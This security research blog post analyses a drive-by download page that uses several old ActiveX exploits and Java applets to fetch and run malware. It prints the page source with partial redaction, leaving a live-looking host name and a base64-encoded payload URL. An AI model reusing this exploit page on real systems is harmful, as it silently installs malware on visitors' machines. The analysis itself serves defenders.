Insights and Research
Remote Downloader ActiveX: Old Exploits, New Malware
ActiveX is a proprietary Microsoft technology, which allows developers to produce reusable software components. The controls are compatible with the Internet Explorer (IE) web browser and over the years have been a frequent security threat, as many developers have produced insecure ActiveX controls which can lead to the remote execution of code when a user with IE visits a malicious web page. This is a very powerful tool for attackers because everything happens in the background (no user interaction), and they can trigger exploitation with only a few lines of code.
I recently stumbled upon a page using no fewer than 8 different ActiveX exploits on the same page:
- Rediff Bol Downloader ActiveX Control Remote Code Execution Vulnerability (2006, CVE-2006-6838)
- Office OCX WordViewer.OCX Word Viewer ActiveX Multiple Vulnerabilities (2007, CVE-2007-2496)
- Symantec AppStream Client 'LaunchObj' ActiveX Control Arbitrary File Download Vulnerability (2008, CVE-2008-4388)
- Peachtree Accounting 'PAWWeb11.ocx' ActiveX Control Insecure Method Vulnerability (2008)
- Multiple Office OCX ActiveX Controls 'OpenWebFile()' Arbitrary Program Execution Vulnerability (2009)
These ActiveX controls attempt to download and install 2 malicious files. One is detected as malware by only 6 out of 40 antivirus engines, the other is detected by 18 antivirus engines.
Blow is the source of page (the malicious CLSIDs and files have been removed):
<html><body><object
classid="clsid:AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAAAAAA">
<PARAM NAME="OpenWebFile"
VALUE="hxxp://xxx/loading.php?spl=ActiveX_pack"></object>
<object classid="clsid:BBBBBBBB-BBBB-BBBBB-BBBB-BBBBBBBBBBBB">
<PARAM NAME="OpenWebFile"
VALUE="http://xxx/loading.php?spl=ActiveX_pack"> </object>
<object classid="clsid:AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAAAAAA">
<PARAM NAME="OpenWebFile"
VALUE="http://xxx/loading.php?spl=ActiveX_pack"> </object>
<object classid="clsid:AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAAAAAA5">
<PARAM NAME="OpenWebFile"
VALUE="http://ally.serveblog.net//loading.php?spl=ActiveX_pack"> </object>
<object classid="clsid:AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAAAAAA">
<PARAM NAME="installAppMgr"
VALUE="http://xxx/loading.php?spl=ActiveX_pack"></object>
<object classid="clsid:AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAAAAAA">
<PARAM NAME="PerformUpdateAsync"
VALUE="http://xxx/loading.php?spl=ActiveX_pack"></object>
<object classid="clsid:AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAAAAAA">
<PARAM NAME="ExecutePreferredApplication"
VALUE="http://xxx/loading.php?spl=ActiveX_pack"></object>
<OBJECT ID="DownloaderActiveX1" WIDTH="0" HEIGHT="0"
CLASSID="CLSID:c1b7e532-3ecb-4e9e-bb3a-2951ffe67c61"
CODEBASE="http://xxx/DownloaderActiveX.cab#Version=1,0,0,1">
<PARAM NAME="propProgressbackground" VALUE="#bccee8">
<PARAM NAME="propTextbackground" VALUE="#f7f8fc">
<PARAM NAME="propBarColor" VALUE="#df0203">
<PARAM NAME="propTextColor" VALUE="#000000">
<PARAM NAME="propWidth" VALUE="0">
<PARAM NAME="propHeight" VALUE="0">
<PARAM NAME="propDownloadUrl"
VALUE="http://xxx/loading.php?spl=ActiveX_pack">
<PARAM NAME="propPostdownloadAction" VALUE="run">
<PARAM NAME="propInstallCompleteUrl" VALUE="">
<PARAM NAME="propbrowserRedirectUrl" VALUE="">
<PARAM NAME="propVerbose" VALUE="0">
<PARAM NAME="propInterrupt" VALUE="0"> </OBJECT>
<OBJECT id="sysWIN" WIDTH=1 HEIGHT=1
classid="clsid:AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAAAAAA"
codebase="http://xxx/Bol.CAB"></OBJECT>
<script language="vbscript">
sysWIN.url = "http://xxx/loading.php?spl=ActiveX_pack"
sysWIN.fontsize = 10sysWIN.barcolor = 00FF00
sysWIN.start = "start"</script>
<applet code="sklif.Hieeyfc.class" archive="j1_ke.jar" width="480"
height="200">
<param name="data" VALUE="http://xxx/loading.php?spl=javadnwa&">
<param name="cc" value="1"> </applet>
<applet width="100%" height="100%" code="Uutecwv" archive="j2_93.jar">
<param name="site"
VALUE="aHR0cDovL2FsbHkuc2VydmVibG9nLm5ldC8vbG9hZGluZy5waHA/c3BsPWphdmFkbndiJg==">
</applet>
it is interesting to see that this page is using fairly old, and relatively well known, browser exploits along with state-of-the-art viruses virtually invisible to most antivirus software. Some people have argued that desktop antivirus protection alone is good enough because the exploit is just a means of delivering the malicious payload, and stopping this payload is all you need to do, in order to be protected. However, relying on a single layer of security is very risky. Catching the exploit can sometimes be easier, so you really need to take a defense-in-depth approach to security - patch your software, detect exploits, detect malicious payloads.
-- Julien